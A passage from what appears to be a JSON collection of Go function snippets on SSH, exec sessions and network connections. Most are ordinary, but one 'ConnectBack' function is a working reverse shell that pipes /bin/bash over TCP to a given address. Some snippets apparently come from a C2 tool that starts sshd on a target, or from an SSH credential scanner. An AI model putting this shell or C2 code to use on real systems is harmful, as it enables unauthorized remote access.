exec via the inReadPipe.\\n\\tinReadPipe, inWritePipe := io.Pipe()\\n\\toutReadPipe, outWritePipe := io.Pipe()\\n\\n\\topts := dockerclient.StartExecOptions{\\n\\t\\tDetach: false,\\n\\t\\tTty: true,\\n\\t\\tOutputStream: outWritePipe,\\n\\t\\tErrorStream: outWritePipe, // this is ok, that's how tty works\\n\\t\\tInputStream: inReadPipe,\\n\\t}\\n\\n\\t// Control characters needs to be in ISO-8859 charset, so be sure that\\n\\t// UTF-8 writes are translated to this charset, for more info:\\n\\t// http://en.wikipedia.org/wiki/Control_character\\n\\tcontrolSequence, err := charset.NewWriter(\\\"ISO-8859-1\\\", inWritePipe)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\terrCh := make(chan error)\\n\\tcloseCh := make(chan bool)\\n\\n\\tserver := &Server{\\n\\t\\tSession: ex.ID,\\n\\t\\tremote: params.Remote,\\n\\t\\tout: outReadPipe,\\n\\t\\tin: inWritePipe,\\n\\t\\tcontrolSequence: controlSequence,\\n\\t\\tcloseChan: closeCh,\\n\\t\\tclient: d.client,\\n\\t}\\n\\n\\tgo func() {\\n\\t\\td.log.Info(\\\"Starting exec instance '%s'\\\", ex.ID)\\n\\t\\terr := d.client.StartExec(ex.ID, opts)\\n\\t\\terrCh <- err\\n\\n\\t\\t// call the remote function that we ended the session\\n\\t\\tserver.remote.SessionEnded.Call()\\n\\t}()\\n\\n\\tgo func() {\\n\\t\\tselect {\\n\\t\\tcase err := <-errCh:\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\td.log.Error(\\\"startExec error: \\\", err)\\n\\t\\t\\t}\\n\\t\\tcase <-closeCh:\\n\\t\\t\\t// once we close them the underlying hijack process in docker\\n\\t\\t\\t// client package will end too, which will close the underlying\\n\\t\\t\\t// connection once it's finished/returned.\\n\\t\\t\\tinReadPipe.CloseWithError(errors.New(\\\"user closed the session\\\"))\\n\\t\\t\\tinWritePipe.CloseWithError(errors.New(\\\"user closed the session\\\"))\\n\\n\\t\\t\\toutReadPipe.CloseWithError(errors.New(\\\"user closed the session\\\"))\\n\\t\\t\\toutWritePipe.CloseWithError(errors.New(\\\"user closed the session\\\"))\\n\\t\\t}\\n\\t}()\\n\\n\\tvar once sync.Once\\n\\n\\t// Read the STDOUT from shell process and send to the connected client.\\n\\t// https://github.com/koding/koding/commit/50cbd3609af93334150f7951dae49a23f71078f6\\n\\tgo func() {\\n\\t\\tbuf := make([]byte, (1<<12)-utf8.UTFMax, 1<<12)\\n\\t\\tfor {\\n\\t\\t\\tn, err := server.out.Read(buf)\\n\\t\\t\\tfor n < cap(buf)-1 {\\n\\t\\t\\t\\tr, _ := utf8.DecodeLastRune(buf[:n])\\n\\t\\t\\t\\tif r != utf8.RuneError {\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\tserver.out.Read(buf[n : n+1])\\n\\t\\t\\t\\tn++\\n\\t\\t\\t}\\n\\n\\t\\t\\t// we need to set it for the first time. Because \\\"StartExec\\\" is\\n\\t\\t\\t// called in a goroutine and it's blocking there is now way we know\\n\\t\\t\\t// when it's ready. Therefore we set the size only once when get an\\n\\t\\t\\t// output. After that the client side is setting the TTY size with\\n\\t\\t\\t// the Server.SetSize method, that is called everytime the client\\n\\t\\t\\t// side sends a size command to us.\\n\\t\\t\\tonce.Do(func() {\\n\\t\\t\\t\\t// Y is height, X is width\\n\\t\\t\\t\\terr = d.client.ResizeExecTTY(ex.ID, int(params.SizeY), int(params.SizeX))\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tfmt.Println(\\\"error resizing\\\", err)\\n\\t\\t\\t\\t}\\n\\t\\t\\t})\\n\\n\\t\\t\\tserver.remote.Output.Call(string(filterInvalidUTF8(buf[:n])))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t}\\n\\t\\t}\\n\\t\\td.log.Debug(\\\"Breaking out of for loop\\\")\\n\\t}()\\n\\n\\td.log.Debug(\\\"Returning server\\\")\\n\\treturn server, nil\\n}\",\n \"func (server *TcpServer) performCommand(conn net.Conn) {\\n\\tclient := server.addClient(conn)\\n\\tdefer server.disconnect(client)\\n\\tclient.Write(CommandFactoy(Welcome, \\\"\\\"))\\n\\tfor {\\n\\t\\tcmd, err := client.Read()\\n\\t\\tif err != nil {\\n\\t\\t\\tif cmd == nil || cmd.Name() == \\\"\\\" { // Client has disconnected\\n\\t\\t\\t\\tbreak\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tfmt.Printf(\\\"%s\\\", cmd.Error())\\n\\t\\t\\t\\tclient.Write(cmd)\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tif cmd.Name() == Quit {\\n\\t\\t\\t\\terr := client.Write(cmd)\\n\\t\\t\\t\\tif err != nil {\\n\\t\\t\\t\\t\\tfmt.Printf(\\\"%s\\\", err)\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t}\\n\\t\\t\\t} else {\\n\\t\\t\\t\\tclient.Write(cmd)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n}\",\n \"func sshCmds() ([]string, error) {\\n\\taddKeyCommand, err := config.GetString(\\\"docker:ssh:add-key-cmd\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tkeyFile, err := config.GetString(\\\"docker:ssh:public-key\\\")\\n\\tif err != nil {\\n\\t\\tif u, err := user.Current(); err == nil {\\n\\t\\t\\tkeyFile = path.Join(u.HomeDir, \\\".ssh\\\", \\\"id_rsa.pub\\\")\\n\\t\\t} else {\\n\\t\\t\\tkeyFile = os.ExpandEnv(\\\"${HOME}/.ssh/id_rsa.pub\\\")\\n\\t\\t}\\n\\t}\\n\\tf, err := filesystem().Open(keyFile)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tdefer f.Close()\\n\\tkeyContent, err := ioutil.ReadAll(f)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tsshdPath, err := config.GetString(\\\"docker:ssh:sshd-path\\\")\\n\\tif err != nil {\\n\\t\\tsshdPath = \\\"/usr/sbin/sshd\\\"\\n\\t}\\n\\treturn []string{\\n\\t\\tfmt.Sprintf(\\\"%s %s\\\", addKeyCommand, bytes.TrimSpace(keyContent)),\\n\\t\\tsshdPath + \\\" -D\\\",\\n\\t}, nil\\n}\",\n \"func ConnectBack(a agent.Agent, parameters []string) {\\n\\tvar ip = parameters[0]\\n\\tvar port = parameters[1]\\n\\n\\t// Create arbitrary command.\\n\\tc := exec.Command(\\\"/bin/bash\\\")\\n\\n\\t// Create TCP connection\\n\\tconn, _ := net.Dial(\\\"tcp\\\", ip+\\\":\\\"+port)\\n\\n\\t// Start the command with a pty.\\n\\tptmx, err := pty.Start(c)\\n\\tif err != nil {\\n\\t\\treturn\\n\\t}\\n\\t// Make sure to close the pty at the end.\\n\\tdefer func() { _ = ptmx.Close() }() // Best effort.\\n\\n\\t// Handle pty size.\\n\\tch := make(chan os.Signal, 1)\\n\\tsignal.Notify(ch, syscall.SIGWINCH)\\n\\tgo func() {\\n\\t\\tfor range ch {\\n\\t\\t\\tif err := pty.InheritSize(os.Stdin, ptmx); err != nil {\\n\\t\\t\\t\\tlog.Printf(\\\"error resizing pty: %s\\\", err)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}()\\n\\tch <- syscall.SIGWINCH // Initial resize.\\n\\n\\t// Copy stdin to the pty and the pty to stdout.\\n\\tgo func() { _, _ = io.Copy(ptmx, conn) }()\\n\\t_, _ = io.Copy(conn, ptmx)\\n\\n\\treturn\\n}\",\n \"func (s *Ssh) Connect() (*ssh.Client, error) {\\n\\tdialString := fmt.Sprintf(\\\"%s:%d\\\", s.Host, s.Port)\\n\\tlogger.Yellow(\\\"ssh\\\", \\\"Connecting to %s as %s\\\", dialString, s.Username)\\n\\n\\t// We have to call PublicKey() to make sure signer is initialized\\n\\tPublicKey()\\n\\n\\tconfig := &ssh.ClientConfig{\\n\\t\\tUser: s.Username,\\n\\t\\tAuth: []ssh.AuthMethod{ssh.PublicKeys(signer)},\\n\\t}\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", dialString, config)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\treturn client, nil\\n}\",\n \"func (client *SSHClient) prepareCommand(session *ssh.Session, cmd *SSHCommand) error {\\n\\tfor _, env := range cmd.Env {\\n\\t\\tvariable := strings.Split(env, \\\"=\\\")\\n\\t\\tif len(variable) != 2 {\\n\\t\\t\\tcontinue\\n\\t\\t}\\n\\t\\tif err := session.Setenv(variable[0], variable[1]); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\tif cmd.Stdin != nil {\\n\\t\\tstdin, err := session.StdinPipe()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"Unable to setup stdin for session: %v\\\", err)\\n\\t\\t}\\n\\t\\tgo io.Copy(stdin, cmd.Stdin)\\n\\t}\\n\\n\\tif cmd.Stdout != nil {\\n\\t\\tstdout, err := session.StdoutPipe()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"Unable to setup stdout for session: %v\\\", err)\\n\\t\\t}\\n\\t\\tgo io.Copy(cmd.Stdout, stdout)\\n\\t}\\n\\n\\tif cmd.Stderr != nil {\\n\\t\\tstderr, err := session.StderrPipe()\\n\\t\\tif err != nil {\\n\\t\\t\\treturn fmt.Errorf(\\\"Unable to setup stderr for session: %v\\\", err)\\n\\t\\t}\\n\\t\\tgo io.Copy(cmd.Stderr, stderr)\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (c *Client) Exec(cmd string) ([]byte, error) {\\n\\tsession, err := c.SSHClient.NewSession()\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tdefer session.Close()\\n\\n\\treturn session.CombinedOutput(cmd)\\n}\",\n \"func (n *NetworkConnectCommand) runNetworkConnect(args []string) error {\\n\\tnetwork := args[0]\\n\\tcontainer := args[1]\\n\\tif network == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"network name cannot be empty\\\")\\n\\t}\\n\\tif container == \\\"\\\" {\\n\\t\\treturn fmt.Errorf(\\\"container name cannot be empty\\\")\\n\\t}\\n\\n\\tnetworkReq := &types.NetworkConnect{\\n\\t\\tContainer: container,\\n\\t\\tEndpointConfig: &types.EndpointSettings{\\n\\t\\t\\tIPAMConfig: &types.EndpointIPAMConfig{\\n\\t\\t\\t\\tIPV4Address: n.ipAddress,\\n\\t\\t\\t\\tIPV6Address: n.ipv6Address,\\n\\t\\t\\t\\tLinkLocalIps: n.linklocalips,\\n\\t\\t\\t},\\n\\t\\t\\tLinks: n.links,\\n\\t\\t\\tAliases: n.aliases,\\n\\t\\t},\\n\\t}\\n\\n\\tctx := context.Background()\\n\\tapiClient := n.cli.Client()\\n\\terr := apiClient.NetworkConnect(ctx, network, networkReq)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\tfmt.Printf(\\\"container %s is connected to network %s\\\\n\\\", container, network)\\n\\n\\treturn nil\\n}\",\n \"func tapConnect(ch *api.Channel) {\\n\\treq := &tap.TapConnect{\\n\\t\\tTapName: []byte(\\\"testtap\\\"),\\n\\t\\tUseRandomMac: 1,\\n\\t}\\n\\n\\t// send the request to the request go channel\\n\\tch.ReqChan <- &api.VppRequest{Message: req}\\n\\n\\t// receive a reply from the reply go channel\\n\\tvppReply := <-ch.ReplyChan\\n\\tif vppReply.Error != nil {\\n\\t\\tfmt.Println(\\\"Error:\\\", vppReply.Error)\\n\\t\\treturn\\n\\t}\\n\\n\\t// decode the message\\n\\treply := &tap.TapConnectReply{}\\n\\terr := ch.MsgDecoder.DecodeMsg(vppReply.Data, reply)\\n\\n\\tif err != nil {\\n\\t\\tfmt.Println(\\\"Error:\\\", err)\\n\\t} else {\\n\\t\\tfmt.Printf(\\\"%+v\\\\n\\\", reply)\\n\\t}\\n}\",\n \"func (this Scanner) Scan(target, cmd string, cred scanners.Credential, outChan chan scanners.Result) {\\n\\t// Add port 22 to the target if we didn't get a port from the user.\\n\\tif !strings.Contains(target, \\\":\\\") {\\n\\t\\ttarget = target + \\\":22\\\"\\n\\t}\\n\\n\\tvar config ssh.ClientConfig\\n\\tvar err error\\n\\n\\t// Let's assume that we connected successfully and declare the data as such, we can edit it later if we failed\\n\\tresult := scanners.Result{\\n\\t\\tHost: target,\\n\\t\\tAuth: cred,\\n\\t\\tMessage: \\\"Successfully connected\\\",\\n\\t\\tStatus: true,\\n\\t\\tOutput: \\\"\\\",\\n\\t}\\n\\n\\t// Depending on the authentication type, run the correct connection function\\n\\tswitch cred.Type {\\n\\tcase \\\"basic\\\":\\n\\t\\tconfig, err = this.prepPassConfig(cred.Account, cred.AuthData)\\n\\tcase \\\"sshkey\\\":\\n\\t\\tconfig, err = this.prepCertConfig(cred.Account, cred.AuthData)\\n\\t}\\n\\n\\t// Return if we got an error.\\n\\tif err != nil {\\n\\t\\tresult.Message = err.Error()\\n\\t\\tresult.Status = false\\n\\t}\\n\\n\\t_, session, err := this.connect(cred.Account, target, config)\\n\\n\\t// If we got an error, let's set the data properly\\n\\tif err != nil {\\n\\t\\tresult.Message = err.Error()\\n\\t\\tresult.Status = false\\n\\t}\\n\\n\\t// If we didn't get an error and we have a command to run, let's do it.\\n\\tif err == nil && cmd != \\\"\\\" {\\n\\t\\t// Execute the command\\n\\t\\tresult.Output, err = this.executeCommand(cmd, session)\\n\\t\\tif err != nil {\\n\\t\\t\\t// If we got an error, let's give the user some output.\\n\\t\\t\\tresult.Output = \\\"Script Error: \\\" + err.Error()\\n\\t\\t}\\n\\t}\\n\\n\\t// Finally, let's pass our result to the proper channel to write out to the user\\n\\toutChan <- result\\n}\",\n \"func sshexec(cmd string) (string, error) {\\n\\tout, err := exec.Command(\\\"ssh\\\", \\\"-T\\\", \\\"root@localhost\\\", cmd).CombinedOutput()\\n\\tif err != nil {\\n\\t\\treturn \\\"\\\", fmt.Errorf(\\\"ssh:%s error:%s\\\", string(out), err)\\n\\t}\\n\\treturn string(out), nil\\n}\",\n \"func getConn(addr string) (net.Conn, error) {\\n\\tswitch {\\n\\tdefault:\\n\\t\\tfallthrough\\n\\tcase strings.Index(addr, \\\"tcp://\\\") == 0:\\n\\t\\treturn net.DialTimeout(\\\"tcp\\\", strings.Replace(addr, \\\"tcp://\\\", \\\"\\\", -1), time.Second*30)\\n\\tcase strings.Index(addr, \\\"ssh://\\\") == 0:\\n\\t\\tspec := strings.Replace(addr, \\\"ssh://\\\", \\\"\\\", -1)\\n\\t\\t// split on the arrow\\n\\t\\tparts := strings.SplitN(spec, \\\"->\\\", 2)\\n\\t\\tif len(parts) != 2 {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"invalid ssh connection spec; we are tunneling here\\\")\\n\\t\\t}\\n\\n\\t\\tsshHost := parts[0]\\n\\t\\ttunHost := parts[1]\\n\\n\\t\\tvar uname string\\n\\t\\tvar sysUser *user.User\\n\\t\\tif hu := strings.Index(sshHost, \\\"@\\\"); hu != -1 {\\n\\t\\t\\tuname = sshHost[:hu]\\n\\t\\t\\tsshHost = sshHost[hu+1:]\\n\\t\\t} else {\\n\\t\\t\\tu, err := user.Current()\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn nil, fmt.Errorf(\\\"error getting current user: %s\\\", err)\\n\\t\\t\\t}\\n\\t\\t\\tuname = u.Username\\n\\t\\t}\\n\\n\\t\\tvar keyCheck ssh.HostKeyCallback\\n\\t\\tif sysUser != nil {\\n\\t\\t\\tvar err error\\n\\t\\t\\tkeyCheck, err = knownhosts.New(fmt.Sprintf(\\\"%s/.ssh/known_hosts\\\", sysUser.HomeDir))\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn nil, fmt.Errorf(\\\"error opening known hosts db: %s\\\", err)\\n\\t\\t\\t}\\n\\t\\t} else {\\n\\t\\t\\tkeyCheck = ssh.InsecureIgnoreHostKey()\\n\\t\\t}\\n\\n\\t\\tsc := &ssh.ClientConfig{\\n\\t\\t\\tUser: uname,\\n\\t\\t\\tHostKeyCallback: keyCheck,\\n\\t\\t\\tTimeout: time.Second * 30,\\n\\t\\t\\tAuth: []ssh.AuthMethod{ssh.PublicKeysCallback(getSSHKeys)},\\n\\t\\t}\\n\\n\\t\\tfmt.Printf(\\\"connecting to %s@%s\\\", uname, sshHost)\\n\\t\\tsshCon, err := ssh.Dial(\\\"tcp\\\", sshHost, sc)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"error connecting to ssh host: %s\\\", err)\\n\\t\\t}\\n\\n\\t\\tfcon, err := sshCon.Dial(\\\"tcp\\\", tunHost)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn nil, fmt.Errorf(\\\"error connecting through tunnel: %s\\\", err)\\n\\t\\t}\\n\\t\\treturn fcon, nil\\n\\t}\\n}\",\n \"func (conn *Connection) Connect(mode int64, twophase bool /*, newPassword string*/) error {\\n\\tcredentialType := C.OCI_CRED_EXT\\n\\tvar (\\n\\t\\tstatus C.sword\\n\\t\\terr error\\n\\t)\\n\\tdefer func() {\\n\\t\\tif err != nil {\\n\\t\\t\\tif conn.sessionHandle != nil {\\n\\t\\t\\t\\tC.OCIHandleFree(unsafe.Pointer(conn.sessionHandle),\\n\\t\\t\\t\\t\\tC.OCI_HTYPE_SESSION)\\n\\t\\t\\t}\\n\\t\\t\\tif conn.handle != nil {\\n\\t\\t\\t\\tC.OCIHandleFree(unsafe.Pointer(conn.handle),\\n\\t\\t\\t\\t\\tC.OCI_HTYPE_SVCCTX)\\n\\t\\t\\t}\\n\\t\\t\\tif conn.serverHandle != nil {\\n\\t\\t\\t\\tC.OCIHandleFree(unsafe.Pointer(conn.serverHandle),\\n\\t\\t\\t\\t\\tC.OCI_HTYPE_SERVER)\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}()\\n\\n\\t// allocate the server handle\\n\\tif ociHandleAlloc(unsafe.Pointer(conn.environment.handle),\\n\\t\\tC.OCI_HTYPE_SERVER,\\n\\t\\t(*unsafe.Pointer)(unsafe.Pointer(&conn.serverHandle)),\\n\\t\\t\\\"Connect[allocate server handle]\\\"); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\t// attach to the server\\n\\t/*\\n\\t if (cxBuffer_FromObject(&buffer, self->dsn,\\n\\t self->environment->encoding) < 0)\\n\\t return -1;\\n\\t*/\\n\\n\\tbuffer := make([]byte, max(16, len(conn.dsn), len(conn.username), len(conn.password))+1)\\n\\tcopy(buffer, []byte(conn.dsn))\\n\\tbuffer[len(conn.dsn)] = 0\\n\\t// dsn := C.CString(conn.dsn)\\n\\t// defer C.free(unsafe.Pointer(dsn))\\n\\t// Py_BEGIN_ALLOW_THREADS\\n\\tconn.srvMtx.Lock()\\n\\t// log.Printf(\\\"buffer=%s\\\", buffer)\\n\\tstatus = C.OCIServerAttach(conn.serverHandle,\\n\\t\\tconn.environment.errorHandle, (*C.OraText)(&buffer[0]),\\n\\t\\tC.sb4(len(buffer)), C.OCI_DEFAULT)\\n\\t// Py_END_ALLOW_THREADS\\n\\tconn.srvMtx.Unlock()\\n\\t// cxBuffer_Clear(&buffer);\\n\\tif err = conn.environment.CheckStatus(status, \\\"Connect[server attach]\\\"); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// log.Printf(\\\"attached to server %s\\\", conn.serverHandle)\\n\\n\\t// allocate the service context handle\\n\\tif err = ociHandleAlloc(unsafe.Pointer(conn.environment.handle),\\n\\t\\tC.OCI_HTYPE_SVCCTX, (*unsafe.Pointer)(unsafe.Pointer(&conn.handle)),\\n\\t\\t\\\"Connect[allocate service context handle]\\\"); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// log.Printf(\\\"allocated service context handle\\\")\\n\\n\\t// set attribute for server handle\\n\\tif err = conn.AttrSet(C.OCI_ATTR_SERVER, unsafe.Pointer(conn.serverHandle), 0); err != nil {\\n\\t\\tsetErrAt(err, \\\"Connect[set server handle]\\\")\\n\\t\\treturn err\\n\\t}\\n\\n\\t// set the internal and external names; these are needed for global\\n\\t// transactions but are limited in terms of the lengths of the strings\\n\\tif twophase {\\n\\t\\tname := []byte(\\\"goracle\\\")\\n\\t\\tcopy(buffer, name)\\n\\t\\tbuffer[len(name)] = 0\\n\\n\\t\\tif err = conn.ServerAttrSet(C.OCI_ATTR_INTERNAL_NAME,\\n\\t\\t\\tunsafe.Pointer(&buffer[0]), len(name)); err != nil {\\n\\t\\t\\tsetErrAt(err, \\\"Connect[set internal name]\\\")\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tif err = conn.ServerAttrSet(C.OCI_ATTR_EXTERNAL_NAME,\\n\\t\\t\\tunsafe.Pointer(&buffer[0]), len(name)); err != nil {\\n\\t\\t\\tsetErrAt(err, \\\"Connect[set external name]\\\")\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t}\\n\\n\\t// allocate the session handle\\n\\tif err = ociHandleAlloc(unsafe.Pointer(conn.environment.handle),\\n\\t\\tC.OCI_HTYPE_SESSION,\\n\\t\\t(*unsafe.Pointer)(unsafe.Pointer(&conn.sessionHandle)),\\n\\t\\t\\\"Connect[allocate session handle]\\\"); err != nil {\\n\\t\\treturn err\\n\\t}\\n\\t// log.Printf(\\\"allocated session handle\\\")\\n\\n\\t// set user name in session handle\\n\\tif conn.username != \\\"\\\" {\\n\\t\\tcopy(buffer, []byte(conn.username))\\n\\t\\tbuffer[len(conn.username)] = 0\\n\\t\\tcredentialType = C.OCI_CRED_RDBMS\\n\\n\\t\\tif err = conn.SessionAttrSet(C.OCI_ATTR_USERNAME,\\n\\t\\t\\tunsafe.Pointer(&buffer[0]), len(conn.username)); err != nil {\\n\\t\\t\\tsetErrAt(err, \\\"Connect[set user name]\\\")\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\t// log.Printf(\\\"set user name %s\\\", buffer)\\n\\t}\\n\\n\\t// set password in session handle\\n\\tif conn.password != \\\"\\\" {\\n\\t\\tcopy(buffer, []byte(conn.password))\\n\\t\\tbuffer[len(conn.password)] = 0\\n\\t\\tcredentialType = C.OCI_CRED_RDBMS\\n\\t\\tif err = conn.SessionAttrSet(C.OCI_ATTR_PASSWORD,\\n\\t\\t\\tunsafe.Pointer(&buffer[0]), len(conn.password)); err != nil {\\n\\t\\t\\tsetErrAt(err, \\\"Connect[set password]\\\")\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\t// log.Printf(\\\"set password %s\\\", buffer)\\n\\t}\\n\\n\\t/*\\n\\t #ifdef OCI_ATTR_DRIVER_NAME\\n\\t status = OCIAttrSet(self->sessionHandle, OCI_HTYPE_SESSION,\\n\\t (text*) DRIVER_NAME, strlen(DRIVER_NAME), OCI_ATTR_DRIVER_NAME,\\n\\t self->environment->errorHandle);\\n\\t if (Environment_CheckForError(self->environment, status,\\n\\t \\\"Connection_Connect(): set driver name\\\") < 0)\\n\\t return -1;\\n\\n\\t #endif\\n\\t*/\\n\\n\\t// set the session handle on the service context handle\\n\\tif err = conn.AttrSet(C.OCI_ATTR_SESSION,\\n\\t\\tunsafe.Pointer(conn.sessionHandle), 0); err != nil {\\n\\t\\tsetErrAt(err, \\\"Connect[set session handle]\\\")\\n\\t\\treturn err\\n\\t}\\n\\n\\t/*\\n\\t // if a new password has been specified, change it which will also\\n\\t // establish the session\\n\\t if (newPasswordObj)\\n\\t return Connection_ChangePassword(self, self->password, newPasswordObj);\\n\\t*/\\n\\n\\t// begin the session\\n\\t// Py_BEGIN_ALLOW_THREADS\\n\\tconn.srvMtx.Lock()\\n\\tstatus = C.OCISessionBegin(conn.handle, conn.environment.errorHandle,\\n\\t\\tconn.sessionHandle, C.ub4(credentialType), C.ub4(mode))\\n\\t// Py_END_ALLOW_THREADS\\n\\tconn.srvMtx.Unlock()\\n\\tif err = conn.environment.CheckStatus(status, \\\"Connect[begin session]\\\"); err != nil {\\n\\t\\tconn.sessionHandle = nil\\n\\t\\treturn err\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func (c *SSHClient) Connect(host, port string) error {\\n\\tclient, err := ssh.Dial(\\\"tcp\\\", fmt.Sprintf(\\\"%s:%s\\\", host, port), c.config)\\n\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tc.client = client\\n\\n\\treturn nil\\n}\",\n \"func NewCommand(s genopts.IOStreams) *cobra.Command {\\n\\tcfg := newConfig(s)\\n\\tcmd := &cobra.Command{\\n\\t\\tUse: \\\"kubectl-ssh [flags] [node-name]\\\",\\n\\t\\tShort: \\\"SSH into a specific Kubernetes node in a cluster or into an arbitrary node matching selectors\\\",\\n\\t\\tExample: fmt.Sprintf(usage, \\\"kubectl-ssh\\\"),\\n\\t\\tSilenceUsage: true,\\n\\t}\\n\\tcmd.Flags().StringVar(&cfg.Login, \\\"login\\\", os.Getenv(\\\"KUBECTL_SSH_DEFAULT_USER\\\"),\\n\\t\\t`Specifies the user to log in as on the remote machine (defaults to KUBECTL_SSH_DEFAULT_USER environment)`)\\n\\n\\tr := &runner{\\n\\t\\tconfig: cfg,\\n\\t}\\n\\tr.Bind(cmd)\\n\\treturn cmd\\n}\",\n \"func (m *Mothership) CLICommand() string {\\n\\ttlsFlag := \\\"\\\"\\n\\tif m.NoTLS {\\n\\t\\ttlsFlag = \\\"--notls\\\"\\n\\t}\\n\\tvar tlsInsecureFlag string\\n\\tif !m.VerifyTLS {\\n\\t\\ttlsInsecureFlag = \\\"--tlsInsecureSkipVerify\\\"\\n\\t}\\n\\tbin := fmt.Sprintf(\\\"%s --username %s --password %s --host %s --port %d %s %s\\\",\\n\\t\\tm.Binary,\\n\\t\\tm.Username,\\n\\t\\tm.Password,\\n\\t\\tm.Host,\\n\\t\\tm.Port,\\n\\t\\ttlsFlag,\\n\\t\\ttlsInsecureFlag)\\n\\treturn strings.Join(strings.Fields(bin), \\\" \\\")\\n}\",\n \"func (s *SSHOrch) ExecSSH(userserver, cmd string) string {\\n\\tclient := s.doLookup(userserver)\\n\\n\\tsession, err := client.NewSession()\\n\\tif err != nil {\\n\\t\\tlog.Fatalln(\\\"Failed to create session:\\\", err)\\n\\t}\\n\\tdefer session.Close()\\n\\t/*\\n\\t\\tstdout, err := session.StdoutPipe()\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatalln(\\\"Failed to pipe session stdout:\\\", err)\\n\\t\\t}\\n\\n\\t\\tstderr, err := session.StderrPipe()\\n\\t\\tif err != nil {\\n\\t\\t\\tlog.Fatalln(\\\"Failed to pipe session stderr:\\\", err)\\n\\t\\t}\\n\\t*/\\n\\n\\tbuf, err := session.CombinedOutput(cmd)\\n\\tif err != nil {\\n\\t\\tlog.Fatalln(\\\"Failed to execute cmd:\\\", err)\\n\\t}\\n\\n\\t// Network read pushed to background\\n\\t/*readExec := func(r io.Reader, ch chan []byte) {\\n\\t\\tif str, err := ioutil.ReadAll(r); err != nil {\\n\\t\\t\\tch <- str\\n\\t\\t}\\n\\t}\\n\\toutCh := make(chan []byte)\\n\\tgo readExec(stdout, outCh)\\n\\t*/\\n\\treturn string(buf)\\n}\",\n \"func Command(name string, arg ...string) *Cmd {}\",\n \"func SSHClient(shell, port string) (err error) {\\n\\tif !util.IsCommandExist(\\\"ssh\\\") {\\n\\t\\terr = fmt.Errorf(\\\"ssh must be installed\\\")\\n\\t\\treturn\\n\\t}\\n\\n\\t// is port mapping already done?\\n\\tlport := strconv.Itoa(util.RandInt(2048, 65535))\\n\\tto := \\\"127.0.0.1:\\\" + port\\n\\texists := false\\n\\tfor _, p := range PortFwds {\\n\\t\\tif p.Agent == CurrentTarget && p.To == to {\\n\\t\\t\\texists = true\\n\\t\\t\\tlport = p.Lport // use the correct port\\n\\t\\t\\tbreak\\n\\t\\t}\\n\\t}\\n\\n\\tif !exists {\\n\\t\\t// start sshd server on target\\n\\t\\tcmd := fmt.Sprintf(\\\"!sshd %s %s %s\\\", shell, port, uuid.NewString())\\n\\t\\tif shell != \\\"bash\\\" {\\n\\t\\t\\terr = SendCmdToCurrentTarget(cmd)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\treturn\\n\\t\\t\\t}\\n\\t\\t\\tCliPrintInfo(\\\"Starting sshd (%s) on target %s\\\", shell, strconv.Quote(CurrentTarget.Tag))\\n\\n\\t\\t\\t// wait until sshd is up\\n\\t\\t\\tdefer func() {\\n\\t\\t\\t\\tCmdResultsMutex.Lock()\\n\\t\\t\\t\\tdelete(CmdResults, cmd)\\n\\t\\t\\t\\tCmdResultsMutex.Unlock()\\n\\t\\t\\t}()\\n\\t\\t\\tfor {\\n\\t\\t\\t\\ttime.Sleep(100 * time.Millisecond)\\n\\t\\t\\t\\tres, exists := CmdResults[cmd]\\n\\t\\t\\t\\tif exists {\\n\\t\\t\\t\\t\\tif strings.Contains(res, \\\"success\\\") {\\n\\t\\t\\t\\t\\t\\tbreak\\n\\t\\t\\t\\t\\t} else {\\n\\t\\t\\t\\t\\t\\terr = fmt.Errorf(\\\"Start sshd failed: %s\\\", res)\\n\\t\\t\\t\\t\\t\\treturn\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t}\\n\\t\\t}\\n\\n\\t\\t// set up port mapping for the ssh session\\n\\t\\tCliPrintInfo(\\\"Setting up port mapping for sshd\\\")\\n\\t\\tpf := &PortFwdSession{}\\n\\t\\tpf.Ctx, pf.Cancel = 